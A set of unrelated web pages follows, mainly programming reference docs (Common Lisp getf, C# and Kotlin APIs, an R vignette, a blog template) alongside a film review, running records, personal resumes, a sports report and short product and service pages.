Next: remf, Previous: get-properties, Up: Conses Dictionary
getf
plist indicator &optional default ⇒ value
(setf ( getf
place indicator &optional default) new-value)
plist—a property list.
place—a place, the value of which is a property list.
indicator—an object.
default—an object. The default is nil.
value—an object.
new-value—an object.
getf finds a property on the plist whose property indicator is identical to indicator, and returns its corresponding property value.
If there are multiple properties_1 with that property indicator, getf uses the first such property.
If there is no property with that property indicator, default is returned.
setf of getf may be used to associate a new object with an existing indicator in the property list held by place, or to create a new assocation if none exists.
If there are multiple properties_1 with that property indicator, setf of getf associates the new-value with the first such property.
When a getf form is used as a setf place, any default which is supplied is evaluated according to normal left-to-right evaluation rules, but its value is ignored.
setf of getf is permitted to either write the value of place itself, or modify of any part, car or cdr, of the list structure held by place.
(setq x '()) ⇒ NIL (getf x 'prop1) ⇒ NIL (getf x 'prop1 7) ⇒ 7 (getf x 'prop1) ⇒ NIL (setf (getf x 'prop1) 'val1) ⇒ VAL1 (eq (getf x 'prop1) 'val1) ⇒ true (getf x 'prop1) ⇒ VAL1 (getf x 'prop1 7) ⇒ VAL1 x ⇒ (PROP1 VAL1) ;; Examples of implementation variation permitted. (setq foo (list 'a 'b 'c 'd 'e 'f)) ⇒ (A B C D E F) (setq bar (cddr foo)) ⇒ (C D E F) (remf foo 'c) ⇒ true foo ⇒ (A B E F) bar ⇒ (C D E F) OR⇒ (C) OR⇒ (NIL) OR⇒ (C NIL) OR⇒ (C D)
get, get-properties, setf; psetf, Function Call Forms as Places
There is no way (using getf) to distinguish an absent property from one whose value is default; but see get-properties.
Note that while supplying a default argument to getf in a setf situation is sometimes not very interesting, it is still important because some macros, such as push and incf, require a place argument which data is both read from and written to. In such a context, if a default argument is to be supplied for the read situation, it must be syntactically valid for the write situation as well. For example,
(let ((plist '())) (incf (getf plist 'count 0)) plist) ⇒ (COUNT 1)
Next: remf, Previous: get-properties, Up: Conses Dictionary


localizer.parse
method.
(Though technically part of the localizer, we’re discussing it here becuase it comes into play during cell editing.)
All localizers should be coded to ensure edited values are completely valid.
Consider, for example, the deg
localizer, which you can examine in the Format tab, but here it is:
module.exports = { name: 'deg', format: function(s) { return s + '°' }, parse: function(s) { return parseInt(s, 10); } }The input is assumed to be an integer followed by a degrees symbol (°). This localizer’s simple
parse
method uses parseInt
, which (as you may know) parses until it encounters a character it doesn’t understand and then returns whatever it has so far, without complaint. When parseInt
sees the degrees symbol, it stops parsing. The result is that it returns the integer part. This seems to be what we want.
However, this is insufficient validation! It works well for valid inputs, but does not reject invalid inputs (which after all is what validation is all about). Specifically:
parseInt
returns NaN
(not a number), which we’re not checking for, so we just store that, which we should not be doingparse
methodinvalid
methodparse
method that requires clean inputOn the next page, we’ll explore what is involved in implementing both approaches in our deg
localizer.


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Cisco 2921XM
Minute Polling
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Setup
- security Enable Cross-Origin Resource Sharing CORS HTTP header must be set on managed device or CORS plugin installed on browser. info
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@(content: String)(posts: Array[Post]) @page("Hello World!")("Supporting tagline") { @{ Html(_root_.com.github.bootlog.util.markdown.PegDown.processMdContent(""" Read [TODO Quick Start]() Complete usage and documentation available at: [play-jekyll-bootstrap](https://github.com/jasonqu/play-jekyll-bootstrap) ## Update configuration In `conf/blog.conf` remember to specify your own data: site.title : My Blog =) author : { name : Name Lastname email<EMAIL_ADDRESS>github : username twitter : username } The theme should reference these variables whenever needed. ## To-Do A lot of job need to be done, including: 1. make play be able to compile md template smoothly so that the index page 2. make it easy to [generate static site](https://github.com/sbt/sbt-site) and [git pushing](http://github.com/sbt/sbt-ghpages) 3. add extra features like play-doc support 4. add examples Any suggestion or contribution is welcome. ## Sample Posts This blog contains sample posts which help stage pages and blog data. When you don't need the samples anymore just delete the `_posts/core-samples` folder. $ rm -rf _posts/core-samples Here's a sample "posts list". """)) }


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--- layout: default title: The Web Exploration Experiment ---
'If you only see posts from folks who are like you, you’re going to be surprised when someone very unlike you wins the presidency'
The internet was meant to be a place where information was free, and the only limit to exploration was the span of our own curiosity.
But scientists are increasingly questioning whether a more accurate description of the internet is not a filter bubble - a state of intellectual isolation where all we ever see is content and people that we already know and like. This blandness is created algorithmically by internet companies who want to maximize the time we spend on their services, and so use our previous browsing history to recommend content that is similar.
A grave concern is that, as algorithms learn to pinpoint our behavior better, they will trap us in cycles of behavior that reinforce our strongest prejudices, leaving little mental space open for curiosity and exploration.
Do you want to know how strong your filter bubble is when you browse the web, and help us understand the formation of filter bubbles at the same time?


|
AVRLibs
AVR8MCUlibraries.
|
Callback definitions. More...
#include <base/base.h>
Go to the source code of this file.
Functions | |
| void | fun_vd_vd_dummy (void) |
| Dummy function, does nothing. Used to initialize fun_ptr_vd_vd pointers. More... | |
| void | fun_vd_u8_dummy (uint8_t value) |
| Dummy function, does nothing. Used to initialize fun_ptr_vd_u8 pointers. More... | |
| uint8_t | fun_u8_u8_dummy (uint8_t value) |
| Dummy function, does nothing. Used to initialize fun_ptr_u8_u8 pointers. More... | |
Callback definitions.
Definition in file callbacks.cpp.
| void fun_vd_vd_dummy | ( | void | ) |
Dummy function, does nothing. Used to initialize fun_ptr_vd_vd pointers.
Definition at line 8 of file callbacks.cpp.
Referenced by SPI::enable(), TWI::enable(), TWI::on_request(), SPI::SPI(), and TWI::TWI().
| void fun_vd_u8_dummy | ( | uint8_t | value | ) |
Dummy function, does nothing. Used to initialize fun_ptr_vd_u8 pointers.
| value |
Definition at line 12 of file callbacks.cpp.
Referenced by TWI::enable(), TWI::on_receive(), and TWI::TWI().
| uint8_t fun_u8_u8_dummy | ( | uint8_t | value | ) |
Dummy function, does nothing. Used to initialize fun_ptr_u8_u8 pointers.
| value |
Definition at line 16 of file callbacks.cpp.
Referenced by SPI::on_receive(), and SPI::SPI().


{% extends 'base.html' %} {% block content %}
(Format text using Markdown and HTML.)
(Event-specific details like the room number, or who to call to be let into the building.)
(Tags are comma-separated keywords that make it easier to find your event and boost its position in searches.)


WanderList
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Season
Winter
Spring
Summer
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Season
Winter
Spring
Summer
Fall
Terrain Type
Mountain
Desert
Forest
River
List Name
Show Me My List!
Here is your WanderList!
Save My List
Add items to list
Add
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_B._Monkey_ (R) ** (out of ****)
He is Alan (Jared Harris), elementary school teacher by day, volunteer hospital disc jockey by night. She is Beatrice (Asia Argento), who, when not sitting at a desk for a nondescript company, is the best jewel thief in London. Somehow, some way, these two fall in love. Which leads to the question--why?
_B._Monkey_, named for the heroine's criminal moniker, only satisfactorily answers one half of that question. It is easy to see why Alan would be so taken with Beatrice when he first spots her in a pub--she is an exotic Italian beauty, and the sexy spunk that Alan discovers once he gets to know her just adds to her allure. In a sense, it is also fairly easy to understand why Beatrice would initially be drawn to Alan. Tired of the criminal life, Beatrice wants to go straight, and the square Alan presents the ultimate act of rebellion against rebellion.
Their romance shows Beatrice the joy of a normal life, but it does not convince the audience quite so easily. Chalk it up to Alan and Harris' dry portrayal--he's nice and stable, all right, but did he have to be so boring? Beatrice's relationship with Alan may be more functional than that with her former roommates and partners-in-crime, drug dealer Paul (Rupert Everett) and his lover Bruno (Jonathan Rhys Meyers), but it's also considerably less interesting.
So it's no surprise that _B._Monkey_ springs back to life whenever Paul and Bruno reenter the picture, and when Beatrice's ties with them pulls her back into the game. Of course, she goes along with it with great reluctance and hates every minute. However, it would have been more compelling if scripters Michael Thomas and Chloe King added a bit more conflict--that is, when put back in the pressure cooker, Beatrice felt some of the thrill that kept her in crime for so long. One would think she would, yet she doesn't, completely "cured" by Alan's love.
_B._Monkey_, director Michael Radford's follow-up to 1995's _Il_Postino_, had been sitting on Miramax's shelf for the better part of two years, and that's more than likely due to the film's many differences with that beloved Oscar-winner. Aside from the obvious differences in tone and style, it is also, quite simply, just not nearly as effective a love story; it's a cold piece of machinery from a filmmaker whose last film moviegoers recall with great warmth.
Michael Dequina<EMAIL_ADDRESS>|<EMAIL_ADDRESS>|<EMAIL_ADDRESS>|<EMAIL_ADDRESS>Mr. Brown's Movie Site: http://welcome.to/mrbrown CompuServe Hollywood Hotline: http://www.HollywoodHotline.com on ICQ: #25289934 | on AOL Instant Messenger: MrBrown23
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Under development
The following example compares two estFUN
s. The first
performs manipulations of data
outside of the “inner”
psiFUN
function. The second performs the manipulations
within the returned psiFUN
.
glm_eefun1 <- function(data, model){
f <- grab_psiFUN(model, data)
function(theta){
f(theta)
}
}
glm_eefun2 <- function(data, model){
function(theta){
f <- grab_psiFUN(model, data)
f(theta)
}
}
Now, compare the speed:
##
## Attaching package: 'geex'
## The following object is masked from 'package:methods':
##
## show
library(geepack, quietly = TRUE)
data("ohio")
test_binomial <- glm(resp ~ age, data = ohio,
family = binomial(link = "logit"))
system.time({test <- m_estimate(
glm_eefun1,
data = ohio,
units = 'id',
root_control = setup_root_control(start = coef(test_binomial)),
outer_args = list(model = test_binomial))})
## user system elapsed
## 1.145 0.010 1.168
system.time(update(test, estFUN = glm_eefun2))
## user system elapsed
## 7.395 0.026 7.420
method = "simple"
for computing numerical
derivatives
The default for the function numDeriv::jacobian
uses the
“Richardson” method for computing numerical derivatives, which requires
multiple evaluations of each psiFUN
. The “simple” method is
much faster, though less accurate. See the
numDeriv::jacobian
help page for further options.
# The default uses method = 'Richardson`
system.time({test <- m_estimate(
estFUN = glm_eefun1, data = ohio, units = "id",
roots = coef(test_binomial),
compute_roots = FALSE,
outer_args = list(model = test_binomial))})
## user system elapsed
## 0.921 0.000 0.921
# Using method = "simple"
system.time(update(test,
deriv_control = setup_deriv_control(method = "simple")))
## user system elapsed
## 0.430 0.001 0.430


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All-Comers Records
The following is an attempt to list all-comers records (fastest performance attained within a country without regard for the nationality of the runner) for all nations using a consistent set of standards. Records reflect performances in the ADR database. Since the ADR database only tracks runners who have met certain time standards, there will be all-comers records that are excluded from these lists since they do not meet the criteria for inclusion in the ADR database.
All-comers records for nations are for countries as they are presently constituted. Records for countries that have split, such as Czechoslovakia => CZE and SVK will reflect the location of the race according to present political boundaries, e.g.races held in Prague are eligible for CZE records and not SVK records and races held in Kosice are eligible for SVK records and not CZE records, regardless of the year in which the race was held.
Road Records
Record quality performances are those made on standard (loop) courses that are believed to be accurate.
Point-to-point courses are defined as those courses whose start and finish lie more than 30% of the race distance apart and/or whose drop exceeds 1 meter per kilometer. If the drop is less than 5 meters per kilometer, performances are considered statistically valid. Such performances are included if they are better than the standard course mark (or if there is no standard course mark) and have an "a" appended to the time, indicating these are potentially aided performances.
Performances on point-to-point courses whose drop exceeds 5 meters per kilometer are not considered statistically valid and are not included.
4 miles
8 kilometers
12 kilometers
30 kilometers
Indoor Track Records
Marks achieved on indoor tracks of 200 meters or less are included. Times to hundredths of seconds are auto-times; times to tenths of seconds are hand times.
2 Miles
5000 meters
Outdoor Track Records
Times to hundredths of seconds are auto-times; times to tenths of seconds are hand times.
2 Miles


val processorInfo: Flow<ProcessorInfo>
Indicates the latest information about the blocks that have been processed by the SDK. This is very helpful for conveying detailed progress and status to the user.


floor
Syntax
floor ( r : real ) : int
Description
Returns the largest integer that is less than or equal to r.
Details
The floor function is used to convert a real number to an integer. The result is the largest integer that is less than or equal to r. In other words, the floor function rounds down to the nearest integer. For example, floor (3) is 3, floor (2.75) is 2 and floor (-8.43) is -9.
See also
ceil and round functions.


Hello there! My name is Ha and I am from Seattle, WA. I am currently pursuing a Bachelors of Computer Science at the University of British Columbia.
Im 2009, I graduated from the University of Washington, with a degree Bachelors of Arts in Political Science and Sociology. After spending a few years in the workforce, I began looking to learn new skills to further improve myself.
By chance, I stumbled upon some simple coding exercises online and became hooked. The enjoyment and thrill of creating something new after painstaking hard work was incredible. After several months of self-taught programming, I decided to fully commit myself and enrolled into UBC.
Please feel free to contact me via one of the methods below.


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Sussex Mindfulness Centre also provides mindfulness services to other organisations. With our wide network of trained and experienced teachers, trainers and researchers, we can offer you:
- mindfulness groups for your staff
- day or week long retreats
- mindfulness-based supervision or consultation
- mindfulness teacher training
- support and guidance with mindfulness research
All of this bespoke to suit your service or organisation. SMC takes quality and safety very seriously as evidenced by all of our teachers meeting national standards outlined in the Good Practice Guidelines. With our integration of mindfulness practice and research expertise, we support the provision of mindfulness work with high quality evaluation or research, whether you want to conduct an audit or a Randomised Control Trial. If you want to find out more please feel free to contact us.
We have recently provided a programme of mindfulness groups for staff at the Office for National Statistics and at Western Sussex Hospital NHS Foundation Trust. This is what they said:
Working with SMC to deliver Mindfulness to ONS staff has been very positive and a pleasure. The training has been well received and we are looking forward to seeing the results from the RCT, which will give us scientific evidence of its effectiveness.
(Dr Louisa Blackwell, Demographic Methods Centre, Methodology Group, Office for National Statistics)
The detailed evaluation data from the 8 week programmes demonstrates the positive impact for individuals in attending the programme. SPT has worked flexibly with the Trust to support us in delivering mindfulness as part of our H&W programme for staff.
(Jo Fanning, Head of Employee Relations, Western Sussex Hospitals NHS Foundation Trust)
If you would like to discuss introducing mindfulness into your organisation, please contact one of the SMC leads:
Robert Marx for training and staff groups<EMAIL_ADDRESS>and Clara Strauss for research expertise
(clara.strauss@nhs.net)


keeping fashion fun and sustainable
T A L A
Launched by youtube sensation and instgram influencer Grave Beverley, this clothing brand has been launched with sustainability being it's fundamental foundations. Already 92% of the products are produced from upcycled matierals with 100% plantable paper tags and recycable packaging. Tala is the new, on trend brand for affordable sustainable fashion.
fun fact: you can even plant the tag and watch it grow.
P A T A G O N I A
From their first day of establishment, the brand has centralised around the planet’s best interests. Making clothes from recycled materials to advertising customers to not buy a new Patagonia jacket, but to repair an old one instead. Their new 'recrafted' range features unqiuely remade in California from an array of deconstructed and repurposed matierals of various shades - making upcycling fashionable.
although sustainable, these clothes don't come at a low price.
B I T E
Originated in Stockholm, the brand centralises around their combined passion for sustainability. With a mixture of organic fabrics, the company promote the idea of timeless clothes that are made to last as the minimalist label comprises of twenty fixed styles of which are only updated seasonally. Most of the pieces are colours of navy, oatmeal and grey with the occasional orange. This allows for flexibility in style throughout the seasons. However, BITE does fall under the luxrious label and you will have to invest big amounts for such clothes.
fun fact: BITE is an acronym for By Independent Thinkers for Environment Progress.
P A C T
For a more affordable brand but with the same values, Pact is the perfect option for men’s, women’s and children’s apparel; with a focus on super-soft basics. The Garments are GOTS certified organic and fair trade. With a high-quality standard, and affordable price point – a purchase from Pact would be the ideal place to start in sustainability.
"from fast fashion, to ethical fashion"
K O M O D O
Komodo is an organic and ethical clothing brand from the UK with some seriously fun style! I love that Komodo is willing to go beyond the typical “ethical fashion box” of neutrals and basics with funky prints, unique designs portrayed with artsy, editorial style imagery on their website.
perfect for men and women.


Mohr's Circle for Stress
For a plane normal to a principal cut of the stress ellipsoid, the
program calculates from the principal stresses (s1
> s2)
and from the angle Q
between the direction of the larger principal stress and the normal to
the plane normal stress and shear stress at the plane (Fig. 1). The
results are shown at Mohr's circle (Fig. 2).
Fig. 1
Fig. 2
Mohr's circle is derived from the formulas for normal and shear stress
at the plane (Fig. 1):


Software engineer with 12 years of experience developing leading-edge technologies
Java, Python, Docker, Amazon Web Services (AWS), Spring Framework, REST, Kubernetes, Maven, Gradle, Ruby, Node.js, SCRUM
Java, Python, Ruby, Node.js, AWS (all aspects), Spring Framework, REST, Maven, Kubernetes
Collaborated to automate a full end-to-end CI/CD pipeline from app template creation to deployment, including the automation of AWS account creation. Created a Python Flask REST web service to automate IP allocations for VPCs and a Java Spring REST web service to automate the generation of Security Groups for new AWS account access. Developed and supported the 20+ polyglot microservices that power KUMO.
Python, Stackstorm, Chef, MongoDB
Implemented the web app (Runway) and the backing REST service (Controltower) to automate the creation and decommissioning of VMs from our on-prem servers. Automated the process of creating VMs and improved delivery times from weeks to minutes.
Scala, Java, C#, Spring Framework, Akka Streams, Akka HTTP, Docker, Amazon Web Services, Hibernate, REST, SOAP, SQL, Maven, SBT, SCRUM
Scala, AWS (Lambda, SNS, SQS), Akka Streams, SBT
Lead developer. Designed and implemented event-based serverless architecture using AWS that ingests, processes and publishes data. Implemented software that associates and assigns a confidence score between unassociated datasets using geographical and related properties.
Scala, Akka HTTP, Spring Framework, Docker, AWS S3, Elasticache, Avro, SBT, REST
Primary developer. Built and improved a RESTful microservice that creates artificial file systems based on S3 bucket storage and returns index data for drive data. Streamlined code and configurations to decrease the required number of servers which reduced cost and improved average performance time. Proved scalability of service with usage of up to 8k+ requests per minute.
Scala, Spray, Spring Framework, Docker, Avro, SBT, REST
Primary developer. Developed a RESTful microservice that returns drive images based on keys. Refactored to decrease the required number of servers to reduce operational cost and improve average performance time. Scaled service and attained up to 8k+ requests per minute.
Java 8, Spring Framework, Docker, Maven, REST
Primary developer. Created a RESTful microservice that merges a series of separate drives into a single result set that removes overlapping drive segments.
Scala, Spray, Spring Framework, Docker, AWS CloudSearch, SBT, REST
Significant contributor. Wrote algorithm that merges a series of separate drives into a single result set that removes overlapping drive segments using GeoHash-based buckets. Leveraged AWS CloudSearch for indexing.
Java, Spring Framework, AWS S3, Maven, REST, SOAP
Primary developer of Asset Delivery Service that returns streams of data from multiple locations and multiple formats. Refactored ADS from a SOAP-based web service to a RESTful service. Primary developer of Asset Viewer, a client of ADS, that displays image assets along with map tracking. Spearheaded 3D viewer for 3D assets.
Added security features for open-source project qiWorkbench™. Created and updated system for qiWorkbench™ that automatically detected new plug-ins and downloaded them over the network.
Worked on the Java development team designing GUI interfaces and security features for the open-source operating system qiWorkbench™. Expanded knowledge of Eclipse and NetBeans IDEs, Java WebStart, version control systems, and the software development process.
 You can find me playing in the local bar scene in Chicago!
When I am not playing music, I am a major cinephile and you might find me working on fun coding problems like Advent of Code.


Namespace: Adriva.Extensions.Analytics.Server
Assembly: Adriva.Extensions.Analytics.Server.dll
Interface IAnalyticsRepository
Provides methods to persist analytics data in a repository.
Syntax
public interface IAnalyticsRepository
Methods
| View SourceHandleErrorAsync(IEnumerable<AnalyticsItem>, Exception)
Called by the system when the StoreAsync method encounters an exception.
Declaration
Task HandleErrorAsync(IEnumerable<AnalyticsItem> items, Exception exception)
Parameters
| Type | Name | Description |
|---|---|---|
| IEnumerable<AnalyticsItem> | items | Items that failed to be stored in the repository. |
| Exception | exception | The exception that is caught by the system. |
Returns
| Type | Description |
|---|---|
| Task | Represents the asynchronous process operation. |
InitializeAsync()
Called by the system once to let the repository do some initial work before accepting data.
Declaration
Task InitializeAsync()
Returns
| Type | Description |
|---|---|
| Task | Represents the asynchronous process operation. |
StoreAsync(IEnumerable<AnalyticsItem>, CancellationToken)
Called by the system when the server analytics buffer is full to persist items in the repository.
Declaration
Task StoreAsync(IEnumerable<AnalyticsItem> items, CancellationToken cancellationToken)
Parameters
| Type | Name | Description |
|---|---|---|
| IEnumerable<AnalyticsItem> | items | Items that should be persisted in the repository. |
| CancellationToken | cancellationToken | Propagates notification that operations should be canceled. |
Returns
| Type | Description |
|---|---|
| Task | Represents the asynchronous process operation. |


seeing -- Create a simulated ground-based star image based on a model of atmospheric turbulence
seeing output xdim ydim gamma fwhmx fwhmy
- output = "" [image]
- The name for the output image to be created.
- xdim = 512 [integer]
- The X dimension for the output image.
- ydim = 512 [integer]
- The Y dimension dor the output image.
- gamma = 1.6666 [real]
- A parameter which control the shape of the PSF produced. For a discussion of the significance of this please see the discussion below and the references given.
- fwhmx = 5.0 [real]
- The full width at half maximum of the PSF produced in the X direction.
- fwhmy = 5.0 [real]
- The full width at half maximum of the PSF produced in the Y direction.
This task is for creating simulated groung-based telescope point-spread function (PSF) images. It is based on a model proposed by Saglia et al. 1993, MNRAS, 264, 961 which uses a simple atmospheric turbulence description. The radial profile is derived from the Fourier transform of an exponential power-spectrum model. Apart from the FWHM (which is just a scaling and which can be different in X and Y) there is one free parameter called gamma. The default value of 5/3 comes from the theory but the authors find that slightly different values may give better simulated PSFs, depending on the telescope, site and conditions.It is strongly suggested that this task only be used after careful reading of the Saglia paper. It has had little use and there may be problems.
It is important that the images used are large enough to avoid artifacts which come from truncating the image before the Fourier transform is taken. This may be checked by looking at the values displayed by the program for the extreme values in the images. In rough terms the minimum in the "input image" should be small (eg, 10-8) and so should the minimum in the output real part, relative to the peak (eg, a factor of 10-6 lower). The output imaginary part should be very small (eg, 10-10).
st> seeing + SEEING Version 1.3 (April 2000) Output image file name (qqq): test X dimension of output (512): Y dimension of output (512): Full Width half max (in X) of resultant PSF (5.0): Full Width half max (in Y) of resultant PSF (5.0): Gamma value for PSF (1.66666): -Extreme values in input array: 0.1224E-10 1.000 -Extreme values in output imaginary part: -0.2135E-11 0.3030E-10 -Extreme values in output real part: 0.1542E-03 9476. st>
The time spent is mostly taken up by the Fourier Transform. Array sizes which are powers of two are most efficient.


South Club get slapped in 'Twice' MV teaser
by germainejSouth Club have dropped their music video teaser for "Twice"!
The MV teaser starts out with South Club vocalist Nam Tae Hyun being slapped in the face. "Twice" is a rock ballad about wanting someone's love to come around again, and it releases on November 15 KST.
What do you think of South Club's "Twice" MV teaser?


Class ThreadPoolPlanner<T>
ThreadPoolPlanner is a planner that shift the work to the thread pool, so it won't halt the main thread and cause drop the FPS.
Implements
Namespace: Tamato.GaifaGoap
Assembly: Tamato.GaifaGoap.dll
Syntax
public class ThreadPoolPlanner<T> : IPlanner<T> where T : class, IModel<T>
Type Parameters
| Name | Description |
|---|---|
| T | Model |
Remarks
Since the planning process is happen on another thread, therefore APIs that require the main thread (most of Unity APIs) will throw an exception when called in TakeAction(T) method.
Constructors
ThreadPoolPlanner(PlannerSettings, Func<T>)
Declaration
public ThreadPoolPlanner(PlannerSettings defaultSettings, Func<T> modelFactory)
Parameters
| Type | Name | Description |
|---|---|---|
| PlannerSettings | defaultSettings | |
| Func<T> | modelFactory |
Properties
DefaultSettings
Gets a planner's default setting
Declaration
public PlannerSettings DefaultSettings { get; }
Property Value
| Type | Description |
|---|---|
| PlannerSettings |
IsPlanning
Gets a value indicate whether the planner is busy or not.
Declaration
public bool IsPlanning { get; }
Property Value
| Type | Description |
|---|---|
| Boolean |
Methods
Cancel()
Cancel the planner and wait for it.
Declaration
public UniTask Cancel()
Returns
| Type | Description |
|---|---|
| Cysharp.Threading.Tasks.UniTask |
Exceptions
| Type | Condition |
|---|---|
| InvalidOperationException | Planner is idle. |
Plan(T, List<IGameAction<T>>, IGoal<T>, PlannerSettings)
Create a plan.
Declaration
public UniTask<(Node<T> goalNode, PlannerStats stats)> Plan(T initialModel, List<IGameAction<T>> possibleActions, IGoal<T> goal, PlannerSettings settings = null)
Parameters
| Type | Name | Description |
|---|---|---|
| T | initialModel | Model of the current world state. |
| List<IGameAction<T>> | possibleActions | List of possible actions for the agent. |
| IGoal<T> | goal | Goal of the agent. |
| PlannerSettings | settings | If provided, the planner's default settings will be overriden with this settings for this call only. |
Returns
| Type | Description |
|---|---|
| Cysharp.Threading.Tasks.UniTask<ValueTuple<Node<T>, PlannerStats>> | (goalNode, stats) goalNode = node that satisfy the goal. stats = statistic information of a planner. |


Back
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Extraversion
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Filter by:


{include="includes"}
{"Export all"|e}
{"Export public"|e} : {"Export public links only"|e}
{"Export private"|e} : {"Export private links only"|e}


General Information
This proven crossbreed has been with us for over 40 years, and today bears the distinction of being one of the hardiest breeds to be found. These birds have a beautiful colour pattern. They are a good producer of quality brown eggs, a very quiet and docile bird in the laying pen, and good for the yard. Heavier than hybrids, live weight will be approximately 4 lbs. at 19 weeks and close to 6 lbs. at end of lay for females. Males are approximately 1½ lbs. heavier.


quiero ponerla como emblema del clan, solo veo la posibilidad de subir las que estan ya echas, quiero poner el logo de mi comunidad en el peloton de battlelog
BrainFooLong
Administrator
Guys, english only here.
Topicstarter
TSpartanGamers
I want to put my logo as emblem of the clan, I only see the possibility of uploading the ones that are already done, I want to put the logo of my community in the peloton of battlelog
BrainFooLong
Administrator
It's impossible since many years. You have to create it with the emblem editor by hand.


Jets upset Western United to claim first win
Newcastle Jets have delivered a mighty upset to secure their first A-League win of the season, defeating Western United 1-0 in Geelong.
Newcastle deservedly took the lead after 36 minutes through 19-year-old striker Angus Thurgate and while United grew into the game, they were unable to find a response at GMHBA Stadium on Saturday.
United were bolstered by Besart Berisha’s return, while Josh Risdon made it back from international duty in time to start, but Panagiotis Kone was missing with a hamstring injury.
In Kone’s absence United struggled to control the midfield, with industrious Newcastle duo Steven Ugarkovic and Ben Kantarovski keeping the Jets ticking over.
On a number of occasions the bustling Jets were able to win possession and create a numerical advantage on the counter - only to stumble at the final hurdle with poor decisions going forward.
Scott McDonald was impressive for United early, consistently drifting into dangerous positions and creating a couple of good chances while Alessandro Diamanti was typically dynamic on the ball.
But Newcastle’s Thurgate came closest to opening the scoring in the 31st minute when his skidding shot just inside the box forced a difficult diving save from Filip Kurto.
Five minutes later, it would be Thurgate who broke the deadlock.
Matt Millar found Thurgate, who showed some terrific hold-up play to one-touch the ball to Dimi Petratos and continue his run. Petratos fed a well-weighted ball back through to Thurgate, who slid a delightful finish past Kurto for his second career A-League goal.
United were better in the second half, with Diamanti consistently threatening to equalise, but he was unable to find the back of the net.
Risdon looked to have equalised in the 70th minute when Diamanti cut inside the left flank onto his right foot and sent a curling ball to the back post for the defender to head home, but the goal was ruled out after a VAR review showed Berisha had been offside in the build-up.
From there, the Jets would hold on for a gutsy victory.


Vision
Never Ending Learning of Sound (NELS) is a computer program that works 24/7 learning information about sounds that it finds on the internet. It runs through the input audio files over web and tries to identify which sounds occur and when in the audio. It is an effort to build the world’s largest aural knowledge base with minimum human labeling effort – one that would be useful in several researches.
Upload an audio file. NELS will categorise it
{% for item in list1 %}
{% endfor %}


Services
The service is a major component to know about, whether you make your own or not.
The lifetime of a Module is only as long as a command is running, similar to Controllers in ASP.NET MVC. This means that you can't store persistent data in a Module; you need a 'service' class that stores persistent data outside of a module lifetime instead.
The MpGameService
class looks like this:
public class MpGameService<TGame, TPlayer>
where TGame : GameBase<TPlayer>
where TPlayer : Player
{
protected static IEqualityComparer<IMessageChannel> MessageChannelComparer { get; }
protected Func<LogMessage, Task> Logger { get; }
public MpGameService(
BaseSocketClient client,
IMpGameServiceConfig? mpconfig = null,
Func<LogMessage, Task>? logger = null);
public bool OpenNewGame(ICommandContext context);
public Task<bool> AddUser(IMessageChannel channel, IUser user);
public Task<bool> RemoveUser(IMessageChannel channel, IUser user);
public Task<bool> AddPlayer(TGame game, TPlayer player);
public Task<bool> KickPlayer(TGame game, TPlayer player);
public bool CancelGame(IMessageChannel channel);
public bool TryAddNewGame(IMessageChannel channel, TGame game);
public bool TryUpdateOpenToJoin(
IMessageChannel channel, bool newValue, bool comparisonValue);
public TGame GetGameFromChannel(IMessageChannel channel);
public IReadOnlyCollection<IUser> GetJoinedUsers(IMessageChannel channel);
public bool IsOpenToJoin(IMessageChannel channel);
public MpGameData GetGameData(ICommandContext context);
}
While making your own is technically optional, it's recommended to at least make an empty class that derives from it, so that adding persistent data later on won't involve a lot more trouble than necessary.
public sealed class CardGameService : MpGameService<CardGame, CardPlayer>
{
// It's generally advised to store your data in some kind of
// 'ConcurrentDictionary<ulong, T>' where the key is the channel/guild/user ID
// and replace 'T' with whatever type you have your data in.
public ConcurrentDictionary<ulong, DataType> SomeDataDictionary { get; }
= new ConcurrentDictionary<ulong, DataType>();
// Alternatively, you can use 'IMessageChannel' as a key
// like the base class does, as long as you pass in the
// base-provided 'MessageChannelComparer'.
public ConcurrentDictionary<IMessageChannel, DataType> SomeDataDictionary { get; }
= new ConcurrentDictionary<IMessageChannel, DataType>(MessageChannelComparer);
}
The constructor for the service has to get either a 'DiscordSocketClient' or a 'DiscordShardedClient' instance so that the service can listen for the 'ChannelDestroyed' event.
There is an optional parameter to pass in an object to configure parts of the base service, such as log strings and other switches that may be added in the future.
There's also an optional paramater to pass a logging method from the caller to the base class. If you want to make use of the logger, then add the same parameter to your constructor in the derived class.
public sealed class CardGameService : MpGameService<CardGame, CardPlayer>
{
public CardGameService(
BaseSocketClient client,
IMpGameServiceConfig? mpconfig = null,
Func<LogMessage, Task>? logger = null)
: base(client, mpconfig, logger)
{
// You can now log anything you like by invoking the 'Logger'
// delegate on the base class you can make use of. I would personally
// recommend having your own method as seen below as a wrapper.
Log(LogSeverity.Debug, "Creating CardGame Service");
}
intenal Task Log(LogSeverity severity, string msg)
{
return base.Logger(new LogMessage(severity, "CardGameService", msg));
}
}


A basic Android HCE to Chrome App demo of NFC.
Uses a modified version of Chrome-NFC and an Android host-based card emulation application that acts like a NFC Forum Type 4 specified card.
You bet! All the code can be found on Github:


I am a passionate and creative software engineer skilled at finding solutions, meeting deadlines and optimizing performance.
Committed to working with the team to produce quality code.
Driven to consistently develop new skill sets and open to all possibilities.
Responsible for the front-end development of Emcee website and mobile app (HTML, CSS, JS). Develop and test different strategies for social marketing.(Pinterest, Twitter, LinkedIn, etc).
Worked together with the team on a IT consulting project with Fukuyama Transporting (the biggest transporting company in Japan). Contributed to re-code the distribution centers and branch offices (100+pages), designed the fashion logistics page of the Japanese website to the more responsive global version aligning with the company's global growth mission.
After I had received so many compliments from my family I was convinced that my curry could sell. I set up a lunchtime only curry pop-up restaurant with 6 high school friends and was in charge of marketing, ingredients purchasing, cooking, delivery. We sold over 500 curry with our one-month adventure.
- Created an RPC client and server that simulate political debates with gRPC framework in Node.js.
- Extended the RPC server so that it could make client RPC calls to service in external protos.
- Users can filter restaurants and add restaurants & reviews. Used Express.js to add routes, and filter data in server code and hbs (handlebars) for views, MongoDB & Mongoose for database and passport.js for user authentication and keeping user session.
- Developed a web game using JavaScript where the player is to reach the water, without colliding into any one of the enemies.
- Coded player, enemies, and other game entities in JavaScript's object-oriented pseudo-classical style.
